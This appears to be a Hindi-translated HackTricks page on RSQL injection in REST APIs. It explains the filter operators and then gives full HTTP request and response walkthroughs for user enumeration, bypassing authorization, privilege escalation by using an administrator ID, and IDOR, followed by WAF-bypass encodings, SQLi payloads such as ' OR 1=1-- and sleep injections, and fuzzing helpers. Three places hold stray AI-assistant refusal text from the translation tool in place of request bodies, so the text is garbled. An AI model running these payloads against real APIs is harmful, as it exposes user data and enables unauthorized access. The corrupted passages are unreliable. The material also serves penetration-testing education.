RSQL Injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

RSQL क्या है?

RSQL एक query language है जो RESTful APIs में inputs के parameterized filtering के लिए डिज़ाइन की गई है। यह FIQL (Feed Item Query Language) पर आधारित है, जिसे मूल रूप से Mark Nottingham ने Atom feeds को query करने के लिए निर्दिष्ट किया था। RSQL अपनी सरलता और जटिल queries को संक्षिप्त और URI-compliant तरीके से HTTP पर व्यक्त करने की क्षमता के लिए विशिष्ट है। यह REST endpoint searching के लिए एक सामान्य query language के रूप में एक उत्कृष्ट विकल्प बनाता है।

अवलोकन

RSQL Injection उन web applications में एक vulnerability है जो RESTful APIs में query language के रूप में RSQL का उपयोग करती हैं। SQL Injection और LDAP Injection की तरह, यह vulnerability तब उत्पन्न होती है जब RSQL filters को सही ढंग से sanitize नहीं किया जाता, जिससे एक attacker malicious queries inject करके बिना authorization के डेटा तक पहुँचने, संशोधित करने या हटाने में सक्षम हो जाता है।

यह कैसे काम करता है?

RSQL आपको RESTful APIs में advanced queries बनाने की अनुमति देता है, उदाहरण के लिए:

/products?filter=price>100;category==electronics

यह एक संरचित क्वेरी में अनुवादित होता है जो price 100 से अधिक और category “electronics” वाले products को फ़िल्टर करता है।

यदि application user input को सही तरीके से validate नहीं करती है, तो एक attacker filter को manipulate करके अप्रत्याशित queries execute कर सकता है, जैसे:

/products?filter=id=in=(1,2,3);delete_all==true

Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.

Risks

  • Exposure of sensitive data: एक हमलावर उन सूचनाओं को प्राप्त कर सकता है जिनका पहुंच योग्य होना नहीं चाहिए।
  • Data modification or deletion: डेटाबेस रिकॉर्ड्स को बदलने वाले filters का injection।
  • Privilege escalation: filters के माध्यम से identifiers को बदलकर roles देने वाले मानों का हेरफेर करके एप्लिकेशन को धोखा दे कर अन्य उपयोगकर्ताओं के privileges के साथ पहुँच हासिल करना।
  • Evasion of access controls: प्रतिबंधित डेटा तक पहुँचने के लिए filters का हेरफेर।
  • Impersonation or IDOR: filters के जरिए उपयोगकर्ताओं के बीच identifiers को बदलकर दूसरे उपयोगकर्ताओं की जानकारी और संसाधनों तक बिना उचित प्रमाणीकरण के पहुँच।

Supported RSQL operators

Operatorविवरणउदाहरण
; / andLogical AND operator। उन पंक्तियों को फ़िल्टर करता है जहाँ दोनों स्थितियाँ true हैं/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orLogical OR operator। उन पंक्तियों को फ़िल्टर करता है जहाँ कम से कम एक स्थिति true है/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Performs an equals query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान ठीक queryValue के बराबर हैं/api/v2/myTable?q=columnA==queryValue
=q=Performs a search query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान में queryValue शामिल है/api/v2/myTable?q=columnA=q=queryValue
=like=Performs a like query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue जैसे हैं/api/v2/myTable?q=columnA=like=queryValue
=in=Performs an in query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA में valueA OR valueB मौजूद है/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Performs an exclude query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान न तो valueA हैं और न ही valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Performs a not equals query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue के बराबर नहीं हैं/api/v2/myTable?q=columnA!=queryValue
=notlike=Performs a not like query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue जैसे नहीं हैं/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Performs a lesser than query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue से कम हैं/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Performs a lesser than or equal to query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue से कम या उसके बराबर हैं/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Performs a greater than query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue से अधिक हैं/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Performs a equal to or greater than query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान queryValue के बराबर या उससे अधिक हैं/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Performs a from to query। myTable की उन सभी पंक्तियों को लौटाता है जहाँ columnA के मान fromValue के बराबर या उससे अधिक और toValue से कम या उसके बराबर हैं/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Note: Table based on information from MOLGENIS and rsql-parser applications.

Examples

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Note: Table based on information from rsql-parser application.

Common filters

These filters help refine queries in APIs:

Filterविवरणउदाहरण
filter[users]परिणामों को विशिष्ट users के द्वारा फ़िल्टर करता है/api/v2/myTable?filter[users]=123
filter[status]स्थिति के आधार पर फ़िल्टर करता है (active/inactive, completed, आदि)/api/v2/orders?filter[status]=active
filter[date]किसी तारीख़ सीमा के भीतर परिणामों को फ़िल्टर करता है/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]श्रेणी या resource प्रकार के आधार पर फ़िल्टर करता है/api/v2/products?filter[category]=electronics
filter[id]एक unique identifier के आधार पर फ़िल्टर करता है/api/v2/posts?filter[id]=42

Common parameters

These parameters help optimize API responses:

Parameterविवरणउदाहरण
includeresponse में related resources को शामिल करता है/api/v2/orders?include=customer,items
sortपरिणामों को ascending या descending क्रम में sort करता है/api/v2/users?sort=-created_at
page[size]प्रति पेज परिणामों की संख्या नियंत्रित करता है/api/v2/products?page[size]=10
page[number]page नंबर निर्दिष्ट करता है/api/v2/products?page[number]=2
fields[resource]response में लौटाने के लिए किन fields को परिभाषित करता है/api/v2/users?fields[users]=id,name,email
searchअधिक लचीला खोज प्रदर्शन करता है/api/v2/posts?search=technology

Information leakage and enumeration of users

The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:

Request

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

हालाँकि /api/registrations?email=<emailAccount> अपेक्षित है, फिर भी RSQL filters का उपयोग करके special operators के माध्यम से user information को enumerate और/या extract करने का प्रयास संभव है:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

यदि किसी वैध ईमेल खाते से मेल खाता है, तो एप्लिकेशन सर्वर को भेजे गए response में पारंपरिक “true”, “1” या इसी तरह के मान के बजाय उपयोगकर्ता की जानकारी लौटाएगा:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

इस परिदृश्य में, हम एक basic role वाले user से शुरू करते हैं और हमारे पास database में पंजीकृत सभी users की सूची तक पहुँचने के लिए privileged permissions (e.g. administrator) नहीं हैं:

अनुरोध

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

फिर से हम filters और special operators का उपयोग करते हैं जो हमें users की जानकारी प्राप्त करने का एक वैकल्पिक तरीका देंगे और access control को चकमा देने में मदद करेंगे। उदाहरण के लिए, उन users को filter करें जिनके user ID में अक्षर “a” शामिल है:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

ऐसा बहुत संभव है कि कुछ endpoints मिलें जो user की role के आधार पर privileges चेक करते हैं। उदाहरण के लिए, हम एक ऐसे user के साथ काम कर रहे हैं जिसके पास कोई privileges नहीं हैं:

Request

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

I don’t have the content of src/pentesting-web/rsql-injection.md. Please paste the file content you want translated to Hindi; I’ll return the translation preserving all markdown/html and the specified untranslatable tokens.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

कुछ operators का उपयोग करके हम administrator users को सूचीबद्ध कर सकते हैं:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

किसी administrator user के identifier को जान लेने के बाद, संबंधित filter को administrator के identifier से बदलकर या उसमें जोड़कर privilege escalation का फायदा उठाना संभव है और वही privileges प्राप्त किए जा सकते हैं:

अनुरोध

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

I don’t have the contents of src/pentesting-web/rsql-injection.md. Please paste the markdown text you want translated (or grant the file contents), and I’ll translate the English parts to Hindi while preserving all code, links, tags and markdown/html syntax.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

filter पैरामीटर के उपयोग के अलावा, include जैसे अन्य पैरामीटर का उपयोग भी किया जा सकता है जो परिणाम में कुछ पैरामीटर (उदा. language, country, password…) शामिल करने की अनुमति देता है।

निम्नलिखित उदाहरण में, हमारे उपयोगकर्ता प्रोफ़ाइल की जानकारी दिखाई गई है:

अनुरोध

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

प्रतिक्रिया

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

फ़िल्टरों के संयोजन का उपयोग authorization नियंत्रण से बचने और अन्य उपयोगकर्ताओं की प्रोफ़ाइल तक पहुँच प्राप्त करने के लिए किया जा सकता है:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

I don’t have the contents of src/pentesting-web/rsql-injection.md. Please paste the file content you want translated into Hindi.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Detection & fuzzing quickwins

  • RSQL सपोर्ट जांचने के लिए harmless probes भेजें जैसे ?filter=id==test, ?q==test या malformed operators =foo=; verbose APIs अक्सर parser errors leak कर देते हैं (“Unknown operator” / “Unknown property”).
  • कई implementations URL parameters को double-parse करते हैं; naive blocklists और WAFs को bypass करने के लिए (, ), *, ; को double-encode करके आजमाएँ (उदा., %2528admin%2529)।
  • Boolean exfil with wildcards: filter[users]=email==*%@example.com;status==ACTIVE और response sizes की तुलना करने के लिए लॉजिक को , (OR) से flip करें।
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) बिना exact IDs जाने साल के हिसाब से जल्दी enumerate कर देता है।

Framework-specific abuse (Elide / JPA Specification / JSON:API)

  • Elide और कई Spring Data REST projects RSQL को सीधे JPA Criteria में translate करते हैं। जब developers custom operators (e.g., =ilike=) जोड़ते हैं और prepared parameters की बजाय string concatenation से predicates बनाते हैं, तो आप SQLi की ओर pivot कर सकते हैं (classic payload: name=ilike='%%' OR 1=1--')।
  • Elide analytic data store parameterized columns स्वीकार करता है; user-controlled analytic params को RSQL filters के साथ combine करने से CVE-2022-24827 में SQLi की जड़ था। भले ही patched versions सही तरह parameterize कर दें, समान bespoke कोड अक्सर बने रहते हैं — @JoinFilter/@ReadPermission SpEL expressions जिनमें ${} हो उन्हें ढूँढें और ';sleep(5);' या लॉजिकल tautologies inject करने की कोशिश करें।
  • JSON:API backends आमतौर पर दोनों include और filter expose करते हैं। related resources पर filtering (filter[orders]=customer.email==*admin*) top-level ACLs को bypass कर सकती है क्योंकि relation-level filters ownership checks से पहले execute होते हैं।

Automation helpers

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" स्थानीय रूप से payloads validate करता है और abstract syntax tree दिखाता है — balanced parentheses और custom operators बनाने में उपयोगी।
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • HTTP fuzzer (ffuf, turbo-intruder) के साथ मिलाकर इस्तेमाल करें — =in= सूचियों के अंदर वाइल्डकार्ड पोजीशनों *a*, *e*, आदि को दोहराकर IDs और emails को जल्दी से सूचीबद्ध करने के लिए।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें